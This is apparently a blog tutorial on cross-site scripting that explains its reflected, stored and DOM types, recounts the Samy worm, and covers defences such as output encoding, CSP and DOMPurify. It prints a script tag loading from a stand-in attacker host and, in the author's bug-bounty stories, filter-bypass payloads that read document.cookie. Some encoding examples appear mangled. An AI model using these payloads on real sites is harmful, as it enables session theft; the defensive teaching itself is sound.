Quick Summary : In the last nine years, the most frequent vulnerability on websites all over the world has been XSS (Cross-site Scripting), which makes about 18% of all bugs found. XSS vulnerability can have a critical impact on a website, it is therefore very important to learn how to protect your website from this vulnerability. In this article I will explain in detail how XSS vulnerability occurs, the various types and how to best protect against it.
When an attacker uses XSS to send a malicious script to an unsuspecting user, the user’s browser has no way to know that this script should not be trusted so it executes it. Since the browser believes the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
Types of XSS Attacks
There are three main types of XSS, they are:
- Reflected XSS
- Stored XSS
- DOM XSS
Reflected XSS is the simplest type of XSS. It occurs when a website receives malicious input from a user and includes it on the web page in an unsafe way.
Here is a simple example of a reflected XSS vulnerability:
The text parameter accepts a user input and adds it to the web page without formatting it. Since the application doesn’t perform any other processing of the input, so an attacker can easily construct an attack like this:
<p>Status: <script src=https://evilscript.com/evil.js></script></p>
If the user visits the URL constructed by the attacker, the attacker’s script is executed in the user’s browser, in the context of that user’s session with the application. The script can be used to perform various actions including stealing information stored on the browser like cookies, session tokens etc.
Stored XSS also known as persistent XSS occurs when an application receives malicious input from an untrusted source, stores it in its database, then later includes it in a web page in an unsafe manner. The malicious input might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order.
var search = document.getElementById(‘search’).value;
var result = document.getElementById(‘result’);
results.innerHTML = ‘You searched for: ‘ + search;
If the attacker is able to control the value of the input they can construct a malicious input that causes their own script to execute. For example
You searched for: <img src=X onerror=’malicious script’>
Usually the malicious input will be gotten from a parameter in the URL thus allowing the attacker to deliver the attack as a malicious URL, similar to a reflected XSS.
Impact of XSS Attacks
As I said earlier, XSS attacks can have different attacks depending on the information being handled by the website it occurs in. By exploiting an XSS vulnerability an attacker can impersonate a user and gain access to their account. If the victim has admin privileges the attacker can use the privileges to further weaken the security of the application. Here are some of the common impacts of XSS attacks.
Attackers can exploit an XSS vulnerability to steal session cookies in the browser which can then be used to impersonate a user and hijack their accounts.
If an attacker manages to steal the session cookies of an administrative account, the attacker can gain administrative access to the entire web application.
Another powerful XSS attack vector is exfiltrating sensitive data, such as social security numbers, personally identifiable information (PII), or credit card info.
Once the attacker has access to the personal or sensitive information of users, they can demand ransom payments from the organization to delete the data, or leak the information of their customers.
Bypass Access Control
XSS attacks can also be used to bypass Access control like the SOP (Same Origin Policy). The SOP simply means that a script from page A can only access data on page B if they are of the same origin.
A very popular example of a real-life XSS attack is Samy. Samy also known as JS.Spacehero is a Cross Site Scripting worm that was designed to spread across MySpace by Samy Kankar. Within just 20 hours on October 4, 2005 over 1 million users had run the worm making Samy the fastest spreading virus of all time.
The worm was pretty harmless but it is a good example of how simple XSS attacks can potentially lead to breach of security. Samy carried a payload that would display the string “but most of all, samy is my hero” on a victim’s MySpace profile page and also send Samy a friend request. When another user viewed that profile page, the payload would then be replicated and planted on their own profile page continuing the distribution of the worm. The vulnerability has since been fixed on MySpace.
How to Protect Against Cross Site Scripting Attacks
There are several methods to protect against XSS attacks, some of them are:
- Encoding the output
- Input validation
- Using Security Headers
- Sanitize User Input
Encoding the Output
Encoding the output is one of the primary defences against XSS attacks. It is the process of converting untrusted data into a form where the output is visible to the user but the code is not executed.This can be done by simply using HTML entity encoding before sending untrusted data to the browser.
Encoding output substitutes HTML markup with alternate representations called entities. The browser displays the entities but does not run them. For example, <script> gets converted to <script>.
For example, if an attacker injects <script>alert(“you are attacked”)</script> into a variable field of a server’s web page, the server will, using this strategy, return <script>alert(“you are attacked”)</script>.
When the web browser downloads the encoded script, it will convert the encoded script back to <script>alert(“you are attacked”)</script> and display the script as part of the web page but the browser will not run the script. The screenshot below shows what the dangerous characters are converted to in HTML encoding
Most frameworks have built-in functions to encode HTML, for example PHP has htmlentities() function which you can use to encode user output.
Take a look at the sample code below:
$str = ‘<a href=”https://www.w3schools.com">Go to w3schools.com</a>’;
The HTML encoded output of the above string will be:
<a href="https://www.w3schools.com">Go to w3schools.com</a>
And the browser output will be :
<a href=”https://www.w3schools.com">Go to w3schools.com</a>
All user input should be considered malicious. To prevent XSS attacks every input gotten from the user should be considered malicious and must be validated before being stored in the database or rendered to the users. Input validation prevents users from adding special characters into the input fields. The recommended way to do this is by whitelisting, which allows only known characters into the application.
Before adding any user input to the database ensure you check if the input is of the correct type and format. If there are any dangerous characters like <,>,(,),/ etc in the input you can reject it. Validation can be done both on the Frontend and on the Backend of the website although Backend validation is more secure because all Frontend validation can usually be bypassed.
Using Security Headers
This is an example of a CSP header. The CSP header is added in the response header for the request. It helps in preventing an attacker from adding malicious scripts to the web page. CSP header can also be used to prevent Clickjacking attacks. With a CSP header you can dictate what scripts are allowed to run on your website, thereby preventing any attacker script from running.
The MDN docs explain in more details how to write a good CSP policy to prevent attacks. Your CSP policy will depend majorly on where you want to load resources like scripts, styles, images from. You can also use Google CSP evaluator to evaluate the security of your CSP.
Sanitize User Input
Sanitizing user input is another very good method of preventing XSS attacks. Sanitizing user inputs involves removing dangerous characters like <,>,(,) and other characters that can be used in CSS attacks. You can either do this manually by using regex to remove those dangerous characters or by using a library like DOM Purify.
To use it simply download the minified version and include it in your HTML as seen below:
After that, you can sanitize strings by using the following line.
let clean = DOMPurify.sanitize( dirty );
DOM Purify is also available with npm. Get more information on how to download and use DOM Purify on their GitHub page.
Some other tools and libraries that can also be used to sanitize html are :
sanitize-html : sanitize-html is intended to be used with Node.js, it provides a clear HTML sanitizer with simple API. It can be installed using the command below
npm install sanitize-html OR yarn add sanitize-html
After installing, you can include into your code using the code snippet below.
// In ES modules
import sanitizeHtml from ‘sanitize-html’;
// Or in Regular JS
const sanitizeHtml = require(‘sanitize-html’);
const dirty = ‘some really tacky HTML’;
const clean = sanitizeHtml(dirty);
For more information on how to use html-sanitize you can check the npm page here.
HtmlSanitizer: HtmlSanitizer is a .NET library for cleaning HTML fragments and documents from constructs that can lead to XSS attacks. It uses AngleSharp to parse, manipulate, and render HTML and CSS. Detailed information on how to install and use HtmlSanitizer can be found on the github page.
There is also an experimental HTML Sanitizer API, it is not compatible with most browsers currently but you can read about it on the MDN Web Docs. You can enable and implement it to sanitize your HTML to prevent XSS vulnerabilities.
XSS vulnerabilities can occur in different manners, I am going to be taking a look at some peculiar XSS vulnerabilities I have encountered in the past and how they were resolved.
The first case is an XSS vulnerability I found in a 3rd party company site, although the bug has been fixed the company has not yet agreed to disclose the vulnerability. So for the purpose of this article i will refer to them as redacted. I was testing the site for a private bug bounty program, so I started testing for XSS with a basic payload “/><script>alert(0);</script>. The site stripped out the <script> tags and left alert(0). I also tried with “/><svg/onload=prompt(1);> as my payload, in this case it stripped out the event handler onload and displayed <svg/prompt(1);> tag. Once i noticed the behavior of stripping out the <script> tag and the event handler i decided to use both <script> and event handler onload in my malicious payload to bypass this protection.
The final payload looked like this ”/><svg/on<script>load=prompt(document.domain);>”/><svg/on<script>load=prompt(document.cookie);> The site stripped out the <script> tags in between my payload and left the rest so ”/><svg/onload=prompt(document.domain);>”/><svg/onload=prompt(document.cookie);> was rendered to the page. Thus the XSS attack was successful.
In the above case the company is using a blacklist of words that should be filtered from inputs, by combining two malicious payloads together I was able to bypass this blacklist protection. Using a strict whitelist of accepted inputs would have prevented this kind of attack. Also the output was not HTML encoded so this made my XSS attack possible.
In another XSS vulnerability, < and > were being filtered from inputs, I realized that adding two < and > to the malicious payload bypassed the filter. Only one of the angular brackets was filtered. When using filters as an XSS protection, it is important to consider that malicious inputs can come in different forms. There are many tricks similar to this that can be used to bypass filter based XSS protections. Adding another layer of XSS protection like encoding the output or using a CSP can help prevent such attacks.
Preventing XSS attacks is a continuous process of adjusting your security measures to new attack payloads and vectors. Research on new XSS vectors are done constantly so it’s important to keep up to date with new attack vectors.
It is very important that you have an email for handling security issues and reports from users. Most companies use email@example.com . Encourage users to submit any security vulnerability they find to this mail and try to respond to the vulnerability reports as quickly as possible. It is impossible for you to find all vulnerabilities on your site and secure it 100% on your own. Users come across vulnerabilities as they use your site and creating a channel for them to report these vulnerabilities to you helps you in improving the security of your site and preventing attacks.
These are just some of the methods of preventing XSS. Preventing XSS vulnerabilities also requires constant source code review, automated testing during development. Using secure code practices will also help in preventing cross site scripting attacks on your web application. You can read more about preventing and mitigating XSS attacks on OWASP cheatsheet .